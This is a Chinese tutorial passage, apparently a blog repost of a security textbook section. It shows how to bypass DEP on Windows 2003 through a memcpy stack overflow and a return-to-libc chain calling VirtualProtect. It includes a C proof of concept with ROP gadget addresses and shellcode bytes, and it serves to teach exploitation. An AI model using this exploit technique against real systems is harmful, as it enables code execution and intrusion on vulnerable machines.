VirtualProtect函数

首先我们来看看MSDN上对VirtualProtect函数的说明。

 
 
  1. BOOL VirtualProtect(  
  2.   LPVOID lpAddress,  
  3.   DWORD dwSize,  
  4.   DWORD flNewProtect,  
  5.   PDWORD lpflOldProtect  
  6. );  

各参数的意义为:

lpAddress,要改变属性的内存起始地址。

dwSize,要改变属性的内存区域大小。

flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。

pflOldProtect,内存原始属性类型保存地址。

修改内存属性成功时函数返回非0,修改失败时返回0。

如果我们能够按照如下参数布置好栈帧的话就可以将shellcode所在内存区域设置为可执行模式。

 
 
  1. BOOL VirtualProtect(  
  2.    shellcode所在内存空间起始地址,  
  3.    shellcode大小,  
  4.    0x40,   
  5.    某个可写地址  
  6. ;  

这里有两个问题需要注意。

(1)参数中包含0x00,strcpy在复制字符串的时候会被截断,所以我们不能攻击strcpy函数,本次实验中我们改为攻击memcpy函数。

(2)对shellcode所在内存空间起始地址的确定,不同机器之间shellcode在内存中的位置可能会有变化,本次实验中我们采用一种巧妙的栈帧构造方法动态确定shellcode所在内存空间起始地址。

我们将用如下代码演示如何布置栈帧,并利用VirtualProtect函数将shellcode所在内存区域设置为可执行状态,进而执行shellcode。

 
 
  1. #include<stdlib.h> 
  2. #include<string.h> 
  3. #include<stdio.h> 
  4. #include<windows.h> 
  5. charshellcode[]=  
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
  7. "……"  
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
  9. "\x90\x90\x90\x90"  
  10. "\x8A\x17\x84\x7C"  //pop eax retn  
  11. "\x0A\x1A\xBF\x7C"  //pop pop pop retn  
  12. "\xBA\xD9\xBB\x7C"  //修正EBP  
  13. "\x8B\x17\x84\x7C"  //RETN  
  14. "\x90\x90\x90\x90"  
  15. "\xBF\x7D\xC9\x77"  //push esp jmp eax  
  16. "\xFF\x00\x00\x00"  //修改内存大小  
  17. "\x40\x00\x00\x00"  //可读可写可执行内存属性代码  
  18. "\xBF\x7D\xC9\x77"  //push esp jmp eax  
  19. "\x90\x90\x90\x90"  
  20. "\x90\x90\x90\x90"  
  21. "\xE8\x1F\x80\x7C"  //修改内存属性  
  22. "\x90\x90\x90\x90"  
  23. "\xA4\xDE\xA2\x7C"  //jmp esp  
  24. "\x90\x90\x90\x90"  
  25. "\x90\x90\x90\x90"  
  26. "\x90\x90\x90\x90"  
  27. "\x90\x90\x90\x90"  
  28. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"  
  29. "……"  
  30. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"  
  31. ;  
  32. voidtest()  
  33. {  
  34.       charstr[176];  
  35.       memcpy(str,shellcode,420);  
  36. }  
  37. intmain()  
  38. {  
  39.       HINSTANCEhInst = LoadLibrary("shell32.dll");  
  40.       chartemp[200];  
  41.       test();  
  42. return 0;  
  43. }  

对实验思路和代码简要解释如下。

(1)为了更直观地反映绕过DEP的过程,我们在本次实验中不启用GS和SafeSEH。

(2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖函数返回地址。

(3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualProtect函数将shellcode所在内存区域设置为可执行模式。

(4)通过push esp jmp eax指令序列动态设置VirtualProtect函数中的shellcode所在内存起始地址以及内存原始属性类型保存地址。

(5)内存区域被设置成可执行模式后shellcode就可以正常执行了。

实验环境如表12-3-2所示。

表12-3-2  实验环境

 

推荐使用的环境

备    注

操作系统

Windows 2003 SP2

 

DEP状态

Optout

 

编译器

VC++ 6.0

 

编译选项

禁用优化选项

 

build版本

release版本

 

首先我们来看看VirtualProtect函数的具体实现。如图12.3.17所示,VirtualProtect只是相当于做了一次中转,通过将进程句柄、内存地址、内存大小等参数传递给VirtualProtectEx函数来设置内存的属性。我们不妨选择0x7C801FE8作为切入点,按照函数要求将栈帧布置好后转入0x7C801FE8处执行设置内存属性过程。

 
图12.3.17  VirtualProtect函数具体实现过程

通过图12.3.17我们还可以看出从EBP+8到EBP+18这16个字节空间中存放着设置内存属性所需要的参数。[EBP+C]和[EBP+10]这两个参数是固定的,我们可以直接在shellcode中设置;但[EBP+8]和[EBP+14]这两个参数是需要动态确定的,要保证第一个参数可以落在我们可以控制的堆栈范围内,第二个参数要保证为一可写地址,我们布置shellcode的重点也就放在这两个参数上边。

由于EBP在溢出过程中被破坏,所以我们需要对EBP进行修复,首先我们用PUSH ESP POP EBP RETN 4指令的地址覆盖test函数的返回地址,shellcode如下所示。

 
 
  1. char shellcode[]=  
  2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
  3. "……"  
  4. "\x90\x90\x90\x90"  
  5. "\xBA\xD9\xBB\x7C"//修正EBP  

  • 2
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值